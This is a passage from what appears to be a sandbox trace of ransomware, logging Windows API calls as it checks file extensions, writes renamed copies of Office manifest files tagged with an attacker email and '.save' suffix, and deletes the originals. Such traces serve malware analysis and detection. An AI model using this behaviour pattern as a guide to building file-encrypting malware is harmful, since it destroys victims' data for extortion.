lstrlenW (lpString=".xls") returned 4 [0057.616] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1 [0057.616] lstrlenW (lpString=".xlsx") returned 5 [0057.616] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1 [0057.616] lstrlenW (lpString=".ppt") returned 4 [0057.616] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1 [0057.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0057.616] lstrlenW (lpString=".zip") returned 4 [0057.616] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1 [0057.616] lstrlenW (lpString=".rar") returned 4 [0057.616] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1 [0057.616] lstrlenW (lpString=".bz2") returned 4 [0057.616] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1 [0057.616] lstrlenW (lpString=".7z") returned 3 [0057.617] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1 [0057.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0057.617] lstrlenW (lpString=".dbf") returned 4 [0057.617] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1 [0057.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0057.617] lstrlenW (lpString=".1cd") returned 4 [0057.617] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1 [0057.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0057.617] lstrlenW (lpString=".jpg") returned 4 [0057.617] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1 [0057.617] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0057.617] lstrlenW (lpString="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 53 [0057.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0057.617] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1261) returned 1 [0057.617] CloseHandle (hObject=0x314) returned 1 [0057.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 0x220 [0057.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0057.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0057.618] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.618] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0057.618] GetLastError () returned 0x0 [0057.618] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0057.620] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0057.621] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0057.621] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x13e, lpOverlapped=0x0) returned 1 [0057.621] SetEndOfFile (hFile=0x2f0) returned 1 [0057.621] CloseHandle (hObject=0x2f0) returned 1 [0057.622] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.622] SetEndOfFile (hFile=0x314) returned 1 [0057.623] CloseHandle (hObject=0x314) returned 1 [0057.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0057.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 1 [0057.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0057.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0057.624] lstrlenW (lpString=".doc") returned 4 [0057.624] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0057.624] lstrlenW (lpString=".docx") returned 5 [0057.624] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0057.624] lstrlenW (lpString=".pdf") returned 4 [0057.624] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0057.624] lstrlenW (lpString=".xls") returned 4 [0057.624] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0057.624] lstrlenW (lpString=".xlsx") returned 5 [0057.624] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0057.624] lstrlenW (lpString=".ppt") returned 4 [0057.624] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0057.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0057.624] lstrlenW (lpString=".zip") returned 4 [0057.624] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0057.624] lstrlenW (lpString=".rar") returned 4 [0057.624] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0057.624] lstrlenW (lpString=".bz2") returned 4 [0057.624] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0057.624] lstrlenW (lpString=".7z") returned 3 [0057.624] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0057.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0057.624] lstrlenW (lpString=".dbf") returned 4 [0057.624] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0057.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0057.624] lstrlenW (lpString=".1cd") returned 4 [0057.624] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0057.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0057.624] lstrlenW (lpString=".jpg") returned 4 [0057.624] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0057.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0057.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0057.625] lstrlenW (lpString=".doc") returned 4 [0057.625] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0057.625] lstrlenW (lpString=".docx") returned 5 [0057.625] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0057.625] lstrlenW (lpString=".pdf") returned 4 [0057.625] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0057.625] lstrlenW (lpString=".xls") returned 4 [0057.625] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0057.625] lstrlenW (lpString=".xlsx") returned 5 [0057.625] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0057.625] lstrlenW (lpString=".ppt") returned 4 [0057.625] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0057.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0057.625] lstrlenW (lpString=".zip") returned 4 [0057.625] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0057.625] lstrlenW (lpString=".rar") returned 4 [0057.625] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0057.625] lstrlenW (lpString=".bz2") returned 4 [0057.625] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0057.625] lstrlenW (lpString=".7z") returned 3 [0057.625] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0057.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0057.625] lstrlenW (lpString=".dbf") returned 4 [0057.625] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0057.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0057.625] lstrlenW (lpString=".1cd") returned 4 [0057.625] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0057.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0057.625] lstrlenW (lpString=".jpg") returned 4 [0057.625] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0057.626] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0057.626] lstrlenW (lpString="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 53 [0057.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0057.626] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=496513) returned 1 [0057.626] CloseHandle (hObject=0x314) returned 1 [0057.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 0x220 [0057.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0057.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0057.627] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.627] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0057.627] GetLastError () returned 0x0 [0057.627] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x79381, lpOverlapped=0x0) returned 1 [0057.637] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x79390, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x79390, lpOverlapped=0x0) returned 1 [0057.646] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0057.646] WriteFile (in: hFile=0x2f0, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x13e, lpOverlapped=0x0) returned 1 [0057.646] SetEndOfFile (hFile=0x2f0) returned 1 [0057.646] CloseHandle (hObject=0x2f0) returned 1 [0058.384] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.384] SetEndOfFile (hFile=0x314) returned 1 [0058.388] CloseHandle (hObject=0x314) returned 1 [0058.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0058.389] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 1 [0058.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0058.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0058.389] lstrlenW (lpString=".doc") returned 4 [0058.389] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0058.389] lstrlenW (lpString=".docx") returned 5 [0058.389] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0058.389] lstrlenW (lpString=".pdf") returned 4 [0058.389] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0058.389] lstrlenW (lpString=".xls") returned 4 [0058.389] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0058.389] lstrlenW (lpString=".xlsx") returned 5 [0058.389] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0058.389] lstrlenW (lpString=".ppt") returned 4 [0058.389] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0058.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0058.389] lstrlenW (lpString=".zip") returned 4 [0058.389] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0058.389] lstrlenW (lpString=".rar") returned 4 [0058.390] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0058.390] lstrlenW (lpString=".bz2") returned 4 [0058.390] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0058.390] lstrlenW (lpString=".7z") returned 3 [0058.390] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0058.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0058.390] lstrlenW (lpString=".dbf") returned 4 [0058.390] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0058.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0058.390] lstrlenW (lpString=".1cd") returned 4 [0058.390] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0058.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0058.390] lstrlenW (lpString=".jpg") returned 4 [0058.390] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0058.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0058.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0058.390] lstrlenW (lpString=".doc") returned 4 [0058.390] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0058.390] lstrlenW (lpString=".docx") returned 5 [0058.390] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0058.390] lstrlenW (lpString=".pdf") returned 4 [0058.390] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0058.390] lstrlenW (lpString=".xls") returned 4 [0058.390] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0058.390] lstrlenW (lpString=".xlsx") returned 5 [0058.390] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0058.390] lstrlenW (lpString=".ppt") returned 4 [0058.390] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0058.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0058.390] lstrlenW (lpString=".zip") returned 4 [0058.391] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0058.391] lstrlenW (lpString=".rar") returned 4 [0058.391] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0058.391] lstrlenW (lpString=".bz2") returned 4 [0058.391] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0058.391] lstrlenW (lpString=".7z") returned 3 [0058.391] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0058.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0058.391] lstrlenW (lpString=".dbf") returned 4 [0058.391] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0058.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0058.391] lstrlenW (lpString=".1cd") returned 4 [0058.391] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0058.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0058.391] lstrlenW (lpString=".jpg") returned 4 [0058.391] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0058.391] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0058.391] lstrlenW (lpString="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 53 [0058.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0058.392] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1261) returned 1 [0058.392] CloseHandle (hObject=0x314) returned 1 [0058.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0058.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0058.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0058.393] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.393] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0058.393] GetLastError () returned 0x0 [0058.393] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0058.395] WriteFile (in: hFile=0x374, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0058.396] ReadFile (in: hFile=0x314, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0058.396] WriteFile (in: hFile=0x374, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x13e, lpOverlapped=0x0) returned 1 [0058.396] SetEndOfFile (hFile=0x374) returned 1 [0058.396] CloseHandle (hObject=0x374) returned 1 [0058.397] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.397] SetEndOfFile (hFile=0x314) returned 1 [0058.398] CloseHandle (hObject=0x314) returned 1 [0058.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0058.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 1 [0058.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0058.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0058.398] lstrlenW (lpString=".doc") returned 4 [0058.398] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0058.399] lstrlenW (lpString=".docx") returned 5 [0058.399] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0058.399] lstrlenW (lpString=".pdf") returned 4 [0058.399] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0058.399] lstrlenW (lpString=".xls") returned 4 [0058.399] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0058.399] lstrlenW (lpString=".xlsx") returned 5 [0058.399] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0058.399] lstrlenW (lpString=".ppt") returned 4 [0058.399] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0058.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0058.399] lstrlenW (lpString=".zip") returned 4 [0058.399] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0058.399] lstrlenW (lpString=".rar") returned 4 [0058.399] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0058.399] lstrlenW (lpString=".bz2") returned 4 [0058.399] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0058.399] lstrlenW (lpString=".7z") returned 3 [0058.399] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0058.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0058.399] lstrlenW (lpString=".dbf") returned 4 [0058.399] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0058.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0058.399] lstrlenW (lpString=".1cd") returned 4 [0058.399] lstrcmpiW (lpString1=".1cd", 